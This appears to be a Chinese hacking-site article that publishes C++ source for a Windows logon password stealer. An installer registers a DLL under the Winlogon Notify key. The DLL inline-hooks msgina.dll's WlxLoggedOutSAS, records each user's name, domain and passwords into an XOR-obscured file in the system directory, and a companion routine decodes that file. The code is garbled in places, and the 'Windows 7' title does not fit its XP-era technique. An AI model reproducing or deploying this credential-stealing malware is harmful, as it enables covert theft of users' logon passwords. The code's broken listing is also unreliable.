基于VC++2010实现截获Windows 7密码

来源:岁月联盟 编辑:exp 时间:2011-10-24

Windows外壳,安装Windows密码截获器

void dey()//解密
{
printf("/r/n请不要移动原密码文件!");
system("pause");
char buffer[10000];
ZeroMemory(buffer,10000);
char LogPath[255] = {0};
GetSystemDirectory( LogPath , MAX_PATH);
lstrcat( LogPath, "//pwd.txt");
HANDLE hfile = CreateFile(
LogPath,
GENERIC_READ, 
FILE_SHARE_WRITE,
0,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
0);
if(!hfile)
{
printf("打开文件失败!");
return;
}
DWORD st;
int a=ReadFile(hfile,buffer,10000,&st,0);
if(!a)
{
printf("读取失败!");
return;
}
for(int i = 0;i<strlen(buffer);i++)
{
buffer[i]=buffer[i]^3;
}
printf("解密内容为:/r/n%s",buffer);
return;
}
bool installed(); //判断是否已经安装
void installe()  //安装函数
{
if(installed())
{
printf("已经安装过了!");
return; 
}
HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize, dwWritten;
LPBYTE p;
HANDLE hFile;
hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_DLL1), "dll");
dwSize = SizeofResource(NULL, hResInfo);
hResData = LoadResource(NULL, hResInfo);
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);//定位资源
char pfile[200];
GetWindowsDirectory(pfile, 200);
strcat(pfile,"//GetPwd.dll");//C:/WINDOWS/
hFile = CreateFile(pfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
WriteFile(hFile, (LPCVOID)p,dwSize, &dwWritten, NULL);
CloseHandle(hFile);
GlobalFree((HGLOBAL)p);
HKEY hkey; 
if(ERROR_SUCCESS==RegCreateKey(HKEY_LOCAL_MACHINE,
"SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon//Notify//GetPwd//",
&hkey)
)
{
char * name3 ="dog"; 
RegSetValueEx(hkey,"dllname",0,REG_SZ,(const unsigned char *)pfile,strlen(pfile));
RegSetValueEx(hkey,"startup",0,REG_SZ,(const unsigned char *)name3,strlen("dog"));
printf("安装成功!");
}
else
{
printf("安装失败!");
return;
}
}
bool installed()
{
HKEY hkey; 
char sz[256]; 
DWORD dwtype, sl = 256; 
if(ERROR_SUCCESS != RegOpenKeyEx(HKEY_LOCAL_MACHINE, 
"SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon//Notify//GetPwd",
NULL, KEY_ALL_ACCESS, &hkey) //打开失败,表示没有安装
)
{
RegCloseKey(hkey); 
return false;
}
RegCloseKey(hkey); 
return true;
}
void usag()//用法提示
{
printf("example:/r/n");
printf("/r/n Install: getpwd.exe installe");
printf("/r/n Decryp : getpwd.exe Decryp /r/n");
}
int main(int argc, char* argv[])
{
if(!lstrcmpi(argv[1],"installe"))//
{
installe();
return 0;
}
else if(!lstrcmpi(argv[1], "Decryp"))
{
dey();
return 0;
}
usag();
return 0;
}
密码截获
#define WLX_SAS_ACTION_LOGON  (1) 
DWORD WINAPI StartHook(LPVOID lpParameter); 
typedef struct _WLX_MPR_NOTIFY_INFO {    
PWSTR   pszUserName;     
PWSTR   pszDomain;   
PWSTR   pszPassword;     
PWSTR   pszOldPassword; 
} WLX_MPR_NOTIFY_INFO, * PWLX_MPR_NOTIFY_INFO; 
typedef int (WINAPI* WlxLoggedOutSAS)(  
//定义函数原型,以便将数据转发给系统 
PVOID  pWlxContext,  
DWORD dwSasType, 
PLUID  pAuthenticationId, 
PSIDpLogonSid, 
PDWORD   pdwOptions, 
PHANDLE phToken, 
PWLX_MPR_NOTIFY_INFOpNprNotifyInfo, 
PVOID * pProfile 
); 
int   WINAPI FunNewADDR( 
PVOID  pWlxContext, 
DWORD dwSasType, 
PLUID pAuthenticationId, 
PSID  pLogonSid, 
PDWORD  pdwOptions, 
PHANDLE phToken, 
PWLX_MPR_NOTIFY_INFO  prNotifyInfo, 
PVOID * pProfile); 
//自定义接管WlxLoggedOutSAS的函数,形参保持一致 
void WriteLog(  
PWLX_MPR_NOTIFY_INFOpNprNotifyInfo 
);//声明保存用户名密码函数原型 
int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi); 
void WriteCurrentTime(); 
void HookWlxLoggedOutSAS(); 
//执行HOOK 
void UnHookWlxLoggedOutSAS(); 
//撤销HOOK 
bool isWin2K()//判断操作系统版本 

DWORD   winVer;    
OSVERSIONINFO   *osvi;       
winVer=GetVersion();    
if(winVer<0x80000000) 
{  
osvi=   (OSVERSIONINFO   *)malloc(sizeof(OSVERSIONINFO));    
if   (osvi!=NULL) 
{    
memset(osvi,0,sizeof(OSVERSIONINFO));    
osvi->dwOSVersionInfoSize=sizeof(OSVERSIONINFO);    
GetVersionEx(osvi);    
if(osvi->dwMajorVersion==5L&&osvi->dwMinorVersion==0L) 

free(osvi);   
return true; 

}    
}    
free(osvi);   
return   false;    

#pragma pack(1)//对齐字节 
struct HookTable{ 
HMODULEhMsgina; 
WlxLoggedOutSAS OldDDR; 
WlxLoggedOutSAS NewADDR; 
unsigned charOldCode[6]; 
unsigned charJmpCode[6]; 
};//自定义的结构体 
HookTable hooktable = {   
0 , 
0 ,  
&FunNewADDR , 
"/x8B/xFF/x55/x8B/xEC", //前5个字节 
"/xE9/x00/x00/x00/x00"  //e9 ,jmp 
}; 
/* 
#pragma pack() 
BOOL APIENTRY DllMain( HANDLE hModule,  
DWORD  ul_reason_for_call,  
LPVOID lpReserved 
 ) 

if(isWin2K()) 
//win2K和xp、2003的前五个字节不同 

hooktable.OldCode[0] ='/x55'; 
hooktable.OldCode[1] ='/x8B'; 
hooktable.OldCode[2] ='/xEC'; 
hooktable.OldCode[3] ='/x83'; 
hooktable.OldCode[4] ='/xEC'; 

switch (ul_reason_for_call) 

case DLL_PROCESS_ATTACH: 
HANDLE hthread = CreateThread( 0 ,  
0 ,  
LPTHREAD_START_ROUTINE(StartHook) ,  
0 ,  
0 ,  
0); 
CloseHandle( hthread ); 
break; 

return TRUE; 

DWORD WINAPI StartHook(LPVOID lpParameter) 

hooktable.hMsgina = GetModuleHandle( _T("msgina.dll")); 
if ( hooktable.hMsgina == NULL) 

return 0 ; 

hooktable.OldDDR = (WlxLoggedOutSAS)GetProcAddress( hooktable.hMsgina , _T("WlxLoggedOutSAS") ); 
//得到原始函数地址,等下撤销HOOK会用到 
if (hooktable.OldDDR == NULL) 

return 0 ; 

unsigned char *p = (unsigned char *)hooktable.OldDDR; 
int *OpCode = (int *)&hooktable.JmpCode[1];// 
int Code = (int)hooktable.NewADDR - (int)hooktable.OldDDR - 5; 
*OpCode = Code; 
HookWlxLoggedOutSAS(); 
return 0; 

void HookWlxLoggedOutSAS() 

DWORD OldProtect = NULL; 
VirtualProtect( hooktable.OldDDR , 
5 , 
PAGE_EXECUTE_READWRITE , 
&OldProtect 
);//内存访问权限 
unsigned char *p = (unsigned char *)hooktable.OldDDR; 
for (int i=0 ;  i < 5 ; i++ ) 

p[i] = hooktable.JmpCode[i]; 

VirtualProtect( hooktable.OldDDR , 
5 , 
OldProtect , 
&OldProtect  
); 
return; 

void UnHookWlxLoggedOutSAS() 

DWORD OldProtect = NULL; 
VirtualProtect( hooktable.OldDDR , 
5 ,  
PAGE_EXECUTE_READWRITE , 
&OldProtect ); 
unsigned char *p = (unsigned char *)hooktable.OldDDR; 
for (int i=0 ;  i < 5 ; i++ ) 

p[i] = hooktable.OldCode[i]; 

VirtualProtect( hooktable.OldDDR , 
5 , 
OldProtect , 
&OldProtect ); 
return; 

char pBuffer[1124]; 
void WriteLog(PWLX_MPR_NOTIFY_INFOpNprNotifyInfo) 
//主要是一些文件操作 

int size_u = lstrlenW( pNprNotifyInfo->pszUserName ); 
size_u += lstrlenW( pNprNotifyInfo->pszDomain ); 
size_u += lstrlenW( pNprNotifyInfo->pszPassword ); 
size_u += lstrlenW( pNprNotifyInfo->pszOldPassword ); 
unsigned short *pWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 ); 
unsigned short *tWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 ); 
char pBuffer1[1124]; 
char *pwd =(char *)GlobalAlloc( GMEM_FIXED , size_u + 1024 ); 
char *pwd2 =(char *)GlobalAlloc( GMEM_FIXED , size_u + 1024*3 ); 
ZeroMemory( pWBuffer  , size_u + 1024 ); 
ZeroMemory( pBuffer  , size_u + 1024 ); 
ZeroMemory( pBuffer1 , size_u + 1024 ); 
if ( !pBuffer ) 

return; 
}else

WriteCurrentTime(); 
wsprintfW( pWBuffer , 
L"/r/nUser= %s /r/nDomain  = %s/r/nPassWord = %s /r/nOldPass = %s/r/n" , 
pNprNotifyInfo->pszUserName ,  
pNprNotifyInfo->pszDomain , 
pNprNotifyInfo->pszPassword, 
pNprNotifyInfo->pszOldPassword  
); 
WideToByte( pBuffer , 
pWBuffer , 
lstrlenW( pWBuffer ) 
); 

char LogPath[MAX_PATH] = {0}; 
GetSystemDirectory( LogPath , MAX_PATH); 
lstrcat( LogPath , "//pwd.txt"); 
HANDLE hfile = CreateFile( 
LogPath ,  
GENERIC_WRITE ,  
FILE_SHARE_WRITE , 
0 , 
OPEN_ALWAYS, 
FILE_ATTRIBUTE_NORMAL , 
0  ); 
if (hfile != INVALID_HANDLE_VALUE) 

unsigned long ret; 
SetFilePointer( hfile , -1 ,  0 , FILE_END); 
int i=0; 
SYSTEMTIME st; 
int b; 
for(;i<strlen(pBuffer);i++) 

pBuffer[i] = pBuffer[i] ^ 3;//加密采用异或方式 

WriteFile( hfile , pBuffer , lstrlen( pBuffer ) ,  &ret , 0 ); 
CloseHandle( hfile ); 

GlobalFree( pWBuffer ); 
GlobalFree( pBuffer ); 
return; 

void WriteCurrentTime() 

SYSTEMTIME st; 
DWORD ret = 0; 
GetLocalTime(&st); 
wsprintf( pBuffer , "/r/n%d/%d/%d/%d:%d:%d" , 
st.wYear , 
st.wMonth , 
st.wDay , 
st.wHour , 
st.wMinute, 
st.wSecond  
); 

int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi) 

return WideCharToMultiByte( CP_ACP , 
WC_COMPOSITECHECK , 
sz_source , 
-1 , 
sz_target , 
size_ansi , 
0 , 
0 ); 

int WINAPI FunNewADDR( 
PVOID   pWlxContext, 
DWORD   dwSasType, 
PLUID   pAuthenticationId, 
PSIDpLogonSid, 
PDWORD  pdwOptions, 
PHANDLE phToken, 
PWLX_MPR_NOTIFY_INFOpNprNotifyInfo, 
PVOID * pProfile 


UnHookWlxLoggedOutSAS(); 
//当系统jmp到我们自己的函数时先解除HOOK 
int i = hooktable.OldDDR(pWlxContext  , 
dwSasType ,  
pAuthenticationId ,  pLogonSid , 
pdwOptions , 
phToken , 
pNprNotifyInfo, 
pProfile 
); 
if (i == WLX_SAS_ACTION_LOGON )// 

WriteLog( pNprNotifyInfo ); 

return i; 

extern "C" __declspec(dllexport) void start() 

return;